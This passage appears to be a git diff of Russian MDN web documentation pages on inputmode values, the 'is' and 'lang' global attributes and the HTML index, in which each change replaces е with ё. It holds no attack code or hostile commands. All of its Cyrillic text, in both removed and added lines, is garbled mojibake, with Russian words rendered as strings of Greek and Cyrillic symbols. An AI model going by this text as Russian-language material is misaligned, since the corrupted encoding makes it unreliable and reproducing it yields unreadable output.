<dd>Числовая раскладка ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹; числа ΠΎΡ‚ 0 Π΄ΠΎ 9. Устройства ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π½Π΅Ρ‚ символ минуса (ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅).</dd>
<dt><code>tel</code></dt>
- <dd>Раскладка для Π²Π²ΠΎΠ΄Π° Π½ΠΎΠΌΠ΅Ρ€Π° Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ числа от 0 Π΄ΠΎ 9, Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΡƒΒ ("*"), ΠΈ Ρ€Π΅ΡˆΠ΅Ρ‚ΠΊΡƒ ("#"). Поля Π²Π²ΠΎΠ΄Π° Ρ„ΠΎΡ€ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Π½ΠΎΠΌΠ΅Ρ€Π° Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code><a href="/en-US/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code>.</dd>
+ <dd>Раскладка для Π²Π²ΠΎΠ΄Π° Π½ΠΎΠΌΠ΅Ρ€Π° Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ числа от 0 Π΄ΠΎ 9, Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΡƒΒ ("*"), ΠΈ Ρ€Π΅ΡˆΡ‘Ρ‚ΠΊΡƒ ("#"). Поля Π²Π²ΠΎΠ΄Π° Ρ„ΠΎΡ€ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Π½ΠΎΠΌΠ΅Ρ€Π° Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code><a href="/en-US/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code>.</dd>
<dt><code>search</code></dt>
<dd>Π’ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Π°Ρ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π°, оптимизированная для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с поиском. НапримСр, ΠΊΠ½ΠΎΠΏΠΊΠ° Π²Π²ΠΎΠ΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ Π·Π°ΠΌΠ΅Π½Π΅Π½Π° Π½Π°Β "Поиск", ΠΈ Π΄Ρ€.</dd>
<dt><code>email</code></dt>
diff --git a/files/ru/web/html/global_attributes/is/index.html b/files/ru/web/html/global_attributes/is/index.html
index a80c1772d1..c62892e64c 100644
--- a/files/ru/web/html/global_attributes/is/index.html
+++ b/files/ru/web/html/global_attributes/is/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Global_attributes/is
---
<div>{{HTMLSidebar("Global_attributes")}}</div>
-<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β </a> <strong><code>is</code></strong> позволяСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ стандартный HTML-элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ вСсти сСбя ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ встроСнный элСмСнт (см <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a> для ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ).</span></p>
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β </a> <strong><code>is</code></strong> позволяСт ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ стандартный HTML-элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ вСсти сСбя ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ встроСнный элСмСнт (см <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a> для ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ).</span></p>
<p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта Π±Ρ‹Π»ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ <a href="/en-US/docs/Web/API/CustomElementRegistry/define">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ</a> Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ Ρ‚ΠΈΠΏ элСмСнта, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ΠΎ примСняСтся.</p>
diff --git a/files/ru/web/html/global_attributes/lang/index.html b/files/ru/web/html/global_attributes/lang/index.html
index 2ccedf5e04..13a25e31f6 100644
--- a/files/ru/web/html/global_attributes/lang/index.html
+++ b/files/ru/web/html/global_attributes/lang/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTML/Global_attributes/lang
---
<div>{{HTMLSidebar("Global_attributes")}}</div>
-<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</a>Β <code>lang</code>Β ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ язык элСмСнта: язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ написаны Π½Π΅Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты, ΠΈΠ»ΠΈ язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты. Атрибут содСрТит СдинствСнный β€œΡΠ·Ρ‹ΠΊΠΎΠ²ΠΎΠΉ тСг” (<code>language tag</code>) Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π²Β <em><a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>.</em></p>
+<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Global_attributes">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</a>Β <code>lang</code>Β ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ язык элСмСнта: язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ написаны Π½Π΅Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты, ΠΈΠ»ΠΈ язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ элСмСнты. Атрибут содСрТит СдинствСнный β€œΡΠ·Ρ‹ΠΊΠΎΠ²ΠΎΠΉ тСг” (<code>language tag</code>) Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Π²Β <em><a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>.</em></p>
<div>{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}</div>
@@ -20,15 +20,15 @@ translation_of: Web/HTML/Global_attributes/lang
<p>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΉ синтаксис BCP47 достаточно подробСн, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Ρ‚ΡŒ спСцифичныС языковыС Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚Ρ‹, Π½ΠΎ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π΅Π³ΠΎ использованиС Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅.Β </p>
-<p>Π―Π·Ρ‹ΠΊΠΎΠ²ΠΎΠΉ Ρ‚Π΅Π³ состоит ΠΈΠ· <em>языковых Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… Ρ‚Π΅Π³ΠΎΠ²</em>, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… дСфисом, Π³Π΄Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Ρ‚Π΅Π³ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ свойство языка. 3 Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных влоТСнных Ρ‚Π΅Π³Π°:</p>
+<p>Π―Π·Ρ‹ΠΊΠΎΠ²ΠΎΠΉ Ρ‚Π΅Π³ состоит ΠΈΠ· <em>языковых Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… Ρ‚Π΅Π³ΠΎΠ²</em>, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… дСфисом, Π³Π΄Π΅ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΉ Ρ‚Π΅Π³ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ свойство языка. 3 Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых влоТСнных Ρ‚Π΅Π³Π°:</p>
<dl>
<dt>Π―Π·Ρ‹ΠΊΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ΄Ρ‚Π΅Π³</dt>
- <dd>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»Π΅Π½. Π”Π²ΡƒΡ…-ΠΈΠ»ΠΈ-Ρ‚Ρ€Π΅Ρ…-ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ язык, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ записываСмый в Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΊΠΎΠ΄ английского языка являСтся <code>en</code>, Π° Π΄Π»ΡΒ Π‘Π°Π΄Π΅ΡˆΠΈΒ β€”Β <code>bdz</code>.Β </dd>
+ <dd>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»Π΅Π½. Π”Π²ΡƒΡ…-ΠΈΠ»ΠΈ-Ρ‚Ρ€Ρ‘Ρ…-ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ язык, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ записываСмый в Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΊΠΎΠ΄ английского языка являСтся <code>en</code>, Π° Π΄Π»ΡΒ Π‘Π°Π΄Π΅ΡˆΠΈΒ β€”Β <code>bdz</code>.Β </dd>
<dt>ΠŸΠΎΠ΄Ρ‚Π΅Π³ скрипта</dt>
<dd>НСобязатСлСн. Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ‚Π΅Π³ опрСдСляСт систСму записи, ΠΈ всСгда состоящий ΠΈΠ· 4 символов с ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π·Π°Π³Π»Π°Π²Π½ΠΎΠΉ Π±ΡƒΠΊΠ²ΠΎΠΉ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β  французский язык Брайля — это <code>fr-Brai</code>, Π°Β <code>ja-Kana</code>Β β€” это японский язык, написанный с использованиСм Π°Π»Ρ„Π°Π²ΠΈΡ‚Π°Β ΠšΠ°Ρ‚Π°ΠΊΠ°Π½Π° (Katakana). Если язык написан Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΌ способом, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, английский с латинским Π°Π»Ρ„Π°Π²ΠΈΡ‚ΠΎΠΌ, Π½Π΅Ρ‚ нСобходимости ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ‚Π΅Π³.</dd>
<dt>ΠŸΠΎΠ΄Ρ‚Π΅Π³ Ρ€Π΅Π³ΠΈΠΎΠ½Π°</dt>
- <dd>НСобязатСлСн. Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ‚Π΅Π³ опрСдСляСт Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚ основного языка ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ мСста ΠΈ состоит ΠΈΠ· Π΄Π²ΡƒΡ… Π±ΡƒΠΊΠ² Π²Β ALLCAPS, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΊΠΎΠ΄Ρƒ страны, ΠΈΠ»ΠΈ Ρ‚Ρ€Π΅Ρ… Ρ†ΠΈΡ„Ρ€, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π΅Π³ΠΈΠΎΠ½Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ относится ΠΊ странС. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β <code>es-ES</code>Β β€” это испанский язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·Π³ΠΎΠ²Π°Ρ€ΠΈΠ²Π°ΡŽΡ‚ Π² Испании, Π°Β <code>es-013</code>Β ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ испанский язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·Π³ΠΎΠ²Π°Ρ€ΠΈΠ²Π°ΡŽΡ‚ Π² Π¦Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ АмСрикС.Β β€œΠœΠ΅ΠΆΠ΄ΡƒΠ½Π°Ρ€ΠΎΠ΄Π½Ρ‹ΠΉ испанский” Π±Ρ‹Π»ΠΎ Π±Ρ‹ просто <code>es</code>.</dd>
+ <dd>НСобязатСлСн. Π”Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ‚Π΅Π³ опрСдСляСт Π΄ΠΈΠ°Π»Π΅ΠΊΡ‚ основного языка ΠΈΠ· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ мСста ΠΈ состоит ΠΈΠ· Π΄Π²ΡƒΡ… Π±ΡƒΠΊΠ² Π²Β ALLCAPS, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΠΊΠΎΠ΄Ρƒ страны, ΠΈΠ»ΠΈ Ρ‚Ρ€Ρ‘Ρ… Ρ†ΠΈΡ„Ρ€, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π΅Π³ΠΈΠΎΠ½Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ относится ΠΊ странС. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β <code>es-ES</code>Β β€” это испанский язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·Π³ΠΎΠ²Π°Ρ€ΠΈΠ²Π°ΡŽΡ‚ Π² Испании, Π°Β <code>es-013</code>Β ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ испанский язык, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·Π³ΠΎΠ²Π°Ρ€ΠΈΠ²Π°ΡŽΡ‚ Π² Π¦Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ АмСрикС.Β β€œΠœΠ΅ΠΆΠ΄ΡƒΠ½Π°Ρ€ΠΎΠ΄Π½Ρ‹ΠΉ испанский” Π±Ρ‹Π»ΠΎ Π±Ρ‹ просто <code>es</code>.</dd>
</dl>
<p>ΠŸΠΎΠ΄Ρ‚Π΅Π³ скрипта ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ ΠΏΠΎΠ΄Ρ‚Π΅Π³Ρƒ Ρ€Π΅Π³ΠΈΠΎΠ½Π°, Ссли ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΎΠ±Π° Ρ‚Π΅Π³Π°Β β€”Β <code>ru-Cyrl-BY</code>Β β€” это русский язык, написанный ΠΊΠΈΡ€ΠΈΠ»Π»ΠΈΡ†Π΅ΠΉ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·Π³ΠΎΠ²Π°Ρ€ΠΈΠ²Π°ΡŽΡ‚ Π² БСларуси.Β </p>
diff --git a/files/ru/web/html/index.html b/files/ru/web/html/index.html
index 6c7cd93452..c5e2c55066 100644
--- a/files/ru/web/html/index.html
+++ b/files/ru/web/html/index.html
@@ -21,7 +21,7 @@ translation_of: Web/HTML
<p>HTML ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ("markup") для отобраТСния тСкста, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. HTML-Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ "элСмСнты", Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅.</p>
-<p>HTML-элСмСнт выдСляСтся ΠΈΠ· ΠΏΡ€ΠΎΡ‡Π΅Π³ΠΎ тСкста Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ "{{glossary("tag", "Ρ‚Π΅Π³ΠΎΠ²")}}", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ состоят ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΈ элСмСнта ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ "<code>&lt;</code>" ΠΈ "<code>&gt;</code>". Имя элСмСнта Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π³Π° Π½Π΅ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ рСгистру. Π’ΠΎ Π΅ΡΡ‚ΡŒ, ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ написано Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС, ΠΈΠ»ΠΈ смСшано. НапримСр, Ρ‚Π΅Π³ <code>&lt;title&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ записан ΠΊΠ°ΠΊ <code>&lt;Title&gt;</code>, <code>&lt;TITLE&gt;</code>, ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ способом.</p>
+<p>HTML-элСмСнт выдСляСтся ΠΈΠ· ΠΏΡ€ΠΎΡ‡Π΅Π³ΠΎ тСкста Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ "{{glossary("tag", "Ρ‚Π΅Π³ΠΎΠ²")}}", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ состоят ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΈ элСмСнта ΠΎΠΊΡ€ΡƒΠΆΡ‘Π½Π½ΠΎΠ³ΠΎ "<code>&lt;</code>" ΠΈ "<code>&gt;</code>". Имя элСмСнта Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π³Π° Π½Π΅ Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ рСгистру. Π’ΠΎ Π΅ΡΡ‚ΡŒ, ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ написано Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΌ рСгистрС, ΠΈΠ»ΠΈ смСшано. НапримСр, Ρ‚Π΅Π³ <code>&lt;title&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ записан ΠΊΠ°ΠΊ <code>&lt;Title&gt;</code>, <code>&lt;TITLE&gt;</code>, ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ способом.</p>
<p>Π‘Ρ‚Π°Ρ‚ΡŒΠΈ, прСдставлСнныС Π½ΠΈΠΆΠ΅, ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ вам большС ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎΒ HTML.</p>
@@ -35,7 +35,7 @@ translation_of: Web/HTML
<p>Π‘Ρ‚Π°Ρ‚ΡŒΠΈ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠ΅ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ ΠΈ ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ "<a href="/ru/docs/Learn/HTML">ΠŸΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²ΠΎ изучСния HTML</a>".</p>
</li>
<li><span>Π‘ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠΎ HTML</span>
- <p>Π’ нашСм ΠΎΠ±ΡˆΠΈΡ€Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ "<a href="/ru/docs/Web/HTML/Бсылки">Π‘ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠΎ HTML</a>" Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ подробности ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ элСмСнтС ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ Π² HTML.</p>
+ <p>Π’ нашСм ΠΎΠ±ΡˆΠΈΡ€Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ "<a href="/ru/docs/Web/HTML/Бсылки">Π‘ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠΎ HTML</a>" Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ подробности ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ элСмСнтС ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ Π² HTML.</p>
</li>
</ul>
@@ -54,21 +54,21 @@ translation_of: Web/HTML
